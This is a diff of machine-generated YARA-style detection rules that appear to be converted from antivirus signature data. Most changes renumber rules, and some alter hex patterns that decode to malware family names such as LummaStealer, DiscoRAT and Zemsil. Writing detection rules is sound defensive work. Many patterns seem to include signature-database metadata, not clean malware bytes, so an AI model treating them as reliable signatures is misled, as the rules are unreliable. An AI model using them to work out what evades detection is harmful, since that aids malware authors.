description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21154,7 +21329,7 @@ rule _InfrastructureShared_2029{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2030{ +rule _InfrastructureShared_2045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21164,7 +21339,7 @@ rule _InfrastructureShared_2030{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2031{ +rule _InfrastructureShared_2046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21174,7 +21349,7 @@ rule _InfrastructureShared_2031{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2032{ +rule _InfrastructureShared_2047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21184,7 +21359,7 @@ rule _InfrastructureShared_2032{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2033{ +rule _InfrastructureShared_2048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21194,7 +21369,7 @@ rule _InfrastructureShared_2033{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2034{ +rule _InfrastructureShared_2049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21204,7 +21379,7 @@ rule _InfrastructureShared_2034{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2035{ +rule _InfrastructureShared_2050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21214,7 +21389,7 @@ rule _InfrastructureShared_2035{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2036{ +rule _InfrastructureShared_2051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21224,7 +21399,7 @@ rule _InfrastructureShared_2036{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2037{ +rule _InfrastructureShared_2052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21234,7 +21409,7 @@ rule _InfrastructureShared_2037{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2038{ +rule _InfrastructureShared_2053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21244,7 +21419,7 @@ rule _InfrastructureShared_2038{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2039{ +rule _InfrastructureShared_2054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21254,7 +21429,7 @@ rule _InfrastructureShared_2039{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2040{ +rule _InfrastructureShared_2055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21264,7 +21439,7 @@ rule _InfrastructureShared_2040{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2041{ +rule _InfrastructureShared_2056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21274,7 +21449,7 @@ rule _InfrastructureShared_2041{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2042{ +rule _InfrastructureShared_2057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21284,7 +21459,7 @@ rule _InfrastructureShared_2042{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2043{ +rule _InfrastructureShared_2058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21294,7 +21469,7 @@ rule _InfrastructureShared_2043{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2044{ +rule _InfrastructureShared_2059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21304,7 +21479,7 @@ rule _InfrastructureShared_2044{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2045{ +rule _InfrastructureShared_2060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21314,7 +21489,7 @@ rule _InfrastructureShared_2045{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2046{ +rule _InfrastructureShared_2061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21324,7 +21499,7 @@ rule _InfrastructureShared_2046{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2047{ +rule _InfrastructureShared_2062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21334,7 +21509,7 @@ rule _InfrastructureShared_2047{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2048{ +rule _InfrastructureShared_2063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21344,7 +21519,7 @@ rule _InfrastructureShared_2048{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2049{ +rule _InfrastructureShared_2064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21354,7 +21529,7 @@ rule _InfrastructureShared_2049{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2050{ +rule _InfrastructureShared_2065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21364,7 +21539,7 @@ rule _InfrastructureShared_2050{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2051{ +rule _InfrastructureShared_2066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21374,7 +21549,7 @@ rule _InfrastructureShared_2051{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2052{ +rule _InfrastructureShared_2067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21384,7 +21559,7 @@ rule _InfrastructureShared_2052{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2053{ +rule _InfrastructureShared_2068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21394,7 +21569,7 @@ rule _InfrastructureShared_2053{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2054{ +rule _InfrastructureShared_2069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21404,7 +21579,7 @@ rule _InfrastructureShared_2054{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2055{ +rule _InfrastructureShared_2070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21414,37 +21589,47 @@ rule _InfrastructureShared_2055{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2056{ +rule _InfrastructureShared_2071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 65 6d 73 69 6c 2e 53 59 21 4d 54 42 00 02 00 10 01 00 07 72 01 00 00 70 6f 15 00 00 0a 0a 00 de 10 00 00 78 3c 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 } //16675 + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 65 6d 73 69 6c 2e 53 59 21 4d 54 42 00 02 00 10 01 00 07 72 01 00 00 70 6f 15 00 00 0a 0a 00 de 10 00 00 78 3c 00 00 02 00 02 00 01 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 } //16675 condition: ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_2057{ +rule _InfrastructureShared_2072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 79 6d 61 69 6d 2e 42 41 46 21 4d 54 42 00 02 00 0e 01 50 59 51 29 c0 0b 02 f8 83 d2 04 83 e8 2c 00 00 78 3c 00 00 02 00 02 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=2 - -} -rule _InfrastructureShared_2058{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " - - strings : - $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 66 74 6f 72 2e 41 52 41 21 4d 54 42 00 02 00 0c 01 8a 08 2a ca 32 ca 88 08 40 4e 75 f4 00 00 78 3c 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 41 75 74 6f 41 74 74 72 4d 73 69 6c 5f 37 41 34 33 39 } //18467 + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 31 38 00 02 00 17 03 40 00 00 40 2e 74 61 67 67 61 6e 74 00 30 90 01 1a 40 00 00 e0 90 00 00 00 78 3c 00 00 02 00 02 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 66 74 } //18467 condition: ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_2059{ +rule _InfrastructureShared_2073{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 66 74 6f 72 2e 41 52 41 21 4d 54 42 00 02 00 0c 01 8a 08 2a ca 32 ca 88 08 40 4e 75 f4 00 00 78 3c 00 00 02 00 02 00 01 00 21 23 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 69 73 63 6f 52 41 54 2e 41 49 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=2 + +} +rule _InfrastructureShared_2074{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_6f_0 = {61 6e 3a 4d 53 49 4c 2f 44 69 73 63 6f 52 41 54 2e 41 49 41 48 21 4d 54 42 00 02 00 10 01 61 d1 88 8c 52 ea 24 29 4d 56 33 3b d9 3a 7f 17 00 00 78 3c 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 41 75 74 6f 41 74 74 72 4d 73 69 6c 5f 37 41 34 33 39 37 38 34 00 01 00 08 01 74 69 6f 6e 2e 65 78 65 01 00 07 01 6f 74 50 61 74 68 4e 00 00 78 3c } //21539 + condition: + ((#a_6f_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_2075{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -21455,7 +21640,7 @@ rule _InfrastructureShared_2059{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*13872) >=2 } -rule _InfrastructureShared_2060{ +rule _InfrastructureShared_2076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -21466,7 +21651,7 @@ rule _InfrastructureShared_2060{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*17202) >=2 } -rule _InfrastructureShared_2061{ +rule _InfrastructureShared_2077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -21477,7 +21662,7 @@ rule _InfrastructureShared_2061{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*12355) >=2 } -rule _InfrastructureShared_2062{ +rule _InfrastructureShared_2078{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -21488,7 +21673,7 @@ rule _InfrastructureShared_2062{ ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*22017) >=2 } -rule _InfrastructureShared_2063{ +rule _InfrastructureShared_2079{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -21499,7 +21684,7 @@ rule _InfrastructureShared_2063{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*110) >=2 } -rule _InfrastructureShared_2064{ +rule _InfrastructureShared_2080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -21510,51 +21695,42 @@ rule _InfrastructureShared_2064{ ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_2065{ +rule _InfrastructureShared_2081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_54_0 = {3a 43 79 67 77 69 6e 46 69 6c 65 00 01 00 07 01 63 79 67 67 63 63 5f 01 00 06 01 63 79 67 77 69 6e 01 00 09 01 4c 49 42 47 43 43 57 33 32 00 00 78 3c 00 00 03 00 03 00 02 00 21 23 48 53 54 52 3a 47 65 6e 64 6f 77 73 53 68 61 64 6f 77 4b 4d 53 00 02 } //18467 - $a_01_1 = {53 48 41 44 4f 57 2e 4b 4d 53 01 00 09 00 53 68 61 64 6f 77 5f 4d 65 00 00 78 3c 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 4e 69 6d 42 69 6e 61 72 79 00 01 00 09 01 66 61 74 61 6c 2e 6e 69 6d 01 00 07 01 63 6f 6d 2e 6e 69 6d 01 00 07 01 63 6c 72 2e 6e 69 6d 00 00 78 3c 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 50 47 5a 21 4d } //2560 + $a_01_1 = {53 48 41 44 4f 57 2e 4b 4d 53 01 00 09 00 53 68 61 64 6f 77 5f 4d 65 00 00 78 3c 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 4e 69 6d 42 69 6e 61 72 79 00 01 00 09 01 66 61 74 61 6c 2e 6e 69 6d 01 00 07 01 63 6f 6d 2e 6e 69 6d 01 00 07 01 63 6c 72 2e 6e 69 6d 00 00 78 3c 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 75 62 6c 69 6b 2e 41 00 } //2560 + $a_02_2 = {0f ae f8 89 ?? e2 } //5 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*2560) >=2 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*2560+(#a_02_2 & 1)*5) >=2 } -rule _InfrastructureShared_2066{ +rule _InfrastructureShared_2082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " strings : $a_54_0 = {3a 47 65 6e 64 6f 77 73 53 68 61 64 6f 77 4b 4d 53 00 02 00 0a 80 01 53 48 41 44 4f 57 2e 4b 4d 53 01 00 09 00 53 68 61 64 6f 77 5f 4d 65 00 00 78 3c 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 4e 69 6d 42 69 6e 61 72 79 00 01 00 09 01 66 61 74 61 } //18467 - $a_69_1 = {01 00 07 01 63 6f 6d 2e 6e 69 6d 01 00 07 01 63 6c 72 2e 6e 69 6d 00 00 78 3c 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 50 47 5a 21 4d 54 42 00 05 00 10 01 31 3b 09 c8 81 c3 04 00 00 00 46 46 39 d3 75 eb 00 00 78 3c 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 } //11884 + $a_69_1 = {01 00 07 01 63 6f 6d 2e 6e 69 6d 01 00 07 01 63 6c 72 2e 6e 69 6d 00 00 78 3c 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 75 62 6c 69 6b 2e 41 00 05 00 0a 02 0f ae f8 89 90 01 01 e2 90 00 05 00 05 01 ff ff 0f ae f8 00 00 78 3c 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 49 6e 74 65 6e } //11884 condition: ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*11884) >=3 } -rule _InfrastructureShared_2067{ +rule _InfrastructureShared_2083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : - $a_54_0 = {3a 4e 69 6d 42 69 6e 61 72 79 00 01 00 09 01 66 61 74 61 6c 2e 6e 69 6d 01 00 07 01 63 6f 6d 2e 6e 69 6d 01 00 07 01 63 6c 72 2e 6e 69 6d 00 00 78 3c 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 50 } //18467 - $a_4d_1 = {42 00 05 00 10 01 31 3b 09 c8 81 c3 04 00 00 00 46 46 39 d3 75 eb 00 00 78 3c 00 00 05 00 05 00 02 } //23111 - $a_48_2 = {54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 75 62 6c 69 6b 2e 41 00 05 00 0a 02 0f ae f8 89 90 01 } //8448 + $a_54_0 = {3a 4e 69 6d 42 69 6e 61 72 79 00 01 00 09 01 66 61 74 61 6c 2e 6e 69 6d 01 00 07 01 63 6f 6d 2e 6e 69 6d 01 00 07 01 63 6c 72 2e 6e 69 6d 00 00 78 3c 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 75 62 6c 69 } //18467 + $a_00_1 = {05 00 0a 02 0f ae f8 89 90 01 01 e2 90 00 05 00 05 01 ff ff 0f ae f8 00 00 78 3c 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 49 6e 74 65 6e 74 42 36 34 65 6e 63 00 0a 00 1c 01 2e 3f 41 56 42 61 } //11883 + $a_34_2 = {6e 63 6f 64 65 72 40 43 72 79 70 74 6f 50 50 40 40 00 00 78 3c 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 49 6e 74 65 6e 74 43 61 73 74 31 32 38 00 0a 00 1b 01 } //25971 condition: - ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*23111+(#a_48_2 & 1)*8448) >=3 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*11883+(#a_34_2 & 1)*25971) >=3 } -rule _InfrastructureShared_2068{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 50 47 5a 21 4d 54 42 00 05 00 10 01 31 3b 09 c8 81 c3 04 00 00 00 46 46 39 d3 75 eb 00 00 78 3c 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=5 - -} -rule _InfrastructureShared_2069{ +rule _InfrastructureShared_2084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -21565,7 +21741,7 @@ rule _InfrastructureShared_2069{ ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*16703) >=5 } -rule _InfrastructureShared_2070{ +rule _InfrastructureShared_2085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -21575,7 +21751,7 @@ rule _InfrastructureShared_2070{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_2071{ +rule _InfrastructureShared_2086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -21585,7 +21761,7 @@ rule _InfrastructureShared_2071{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_2072{ +rule _InfrastructureShared_2087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21595,7 +21771,7 @@ rule _InfrastructureShared_2072{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2073{ +rule _InfrastructureShared_2088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21605,7 +21781,7 @@ rule _InfrastructureShared_2073{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2074{ +rule _InfrastructureShared_2089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21615,7 +21791,7 @@ rule _InfrastructureShared_2074{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2075{ +rule _InfrastructureShared_2090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21625,7 +21801,7 @@ rule _InfrastructureShared_2075{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2076{ +rule _InfrastructureShared_2091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21635,7 +21811,7 @@ rule _InfrastructureShared_2076{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2077{ +rule _InfrastructureShared_2092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21645,7 +21821,7 @@ rule _InfrastructureShared_2077{ ((#a_54_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2078{ +rule _InfrastructureShared_2093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21655,7 +21831,7 @@ rule _InfrastructureShared_2078{ ((#a_6c_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2079{ +rule _InfrastructureShared_2094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21665,7 +21841,7 @@ rule _InfrastructureShared_2079{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2080{ +rule _InfrastructureShared_2095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21675,7 +21851,7 @@ rule _InfrastructureShared_2080{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2081{ +rule _InfrastructureShared_2096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21685,7 +21861,7 @@ rule _InfrastructureShared_2081{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2082{ +rule _InfrastructureShared_2097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21695,7 +21871,7 @@ rule _InfrastructureShared_2082{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2083{ +rule _InfrastructureShared_2098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21705,7 +21881,7 @@ rule _InfrastructureShared_2083{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2084{ +rule _InfrastructureShared_2099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21715,7 +21891,7 @@ rule _InfrastructureShared_2084{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2085{ +rule _InfrastructureShared_2100{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21725,7 +21901,7 @@ rule _InfrastructureShared_2085{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2086{ +rule _InfrastructureShared_2101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21735,7 +21911,7 @@ rule _InfrastructureShared_2086{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2087{ +rule _InfrastructureShared_2102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21745,7 +21921,7 @@ rule _InfrastructureShared_2087{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2088{ +rule _InfrastructureShared_2103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21755,7 +21931,7 @@ rule _InfrastructureShared_2088{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2089{ +rule _InfrastructureShared_2104{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21765,7 +21941,7 @@ rule _InfrastructureShared_2089{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2090{ +rule _InfrastructureShared_2105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21775,7 +21951,7 @@ rule _InfrastructureShared_2090{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2091{ +rule _InfrastructureShared_2106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21785,7 +21961,7 @@ rule _InfrastructureShared_2091{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2092{ +rule _InfrastructureShared_2107{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21795,7 +21971,7 @@ rule _InfrastructureShared_2092{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2093{ +rule _InfrastructureShared_2108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21805,7 +21981,7 @@ rule _InfrastructureShared_2093{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2094{ +rule _InfrastructureShared_2109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21815,7 +21991,7 @@ rule _InfrastructureShared_2094{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2095{ +rule _InfrastructureShared_2110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21825,7 +22001,7 @@ rule _InfrastructureShared_2095{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2096{ +rule _InfrastructureShared_2111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21835,7 +22011,7 @@ rule _InfrastructureShared_2096{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2097{ +rule _InfrastructureShared_2112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21845,7 +22021,7 @@ rule _InfrastructureShared_2097{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2098{ +rule _InfrastructureShared_2113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21855,7 +22031,7 @@ rule _InfrastructureShared_2098{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2099{ +rule _InfrastructureShared_2114{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21865,7 +22041,7 @@ rule _InfrastructureShared_2099{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2100{ +rule _InfrastructureShared_2115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21875,7 +22051,7 @@ rule _InfrastructureShared_2100{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2101{ +rule _InfrastructureShared_2116{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21885,7 +22061,7 @@ rule _InfrastructureShared_2101{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2102{ +rule _InfrastructureShared_2117{ meta: description = 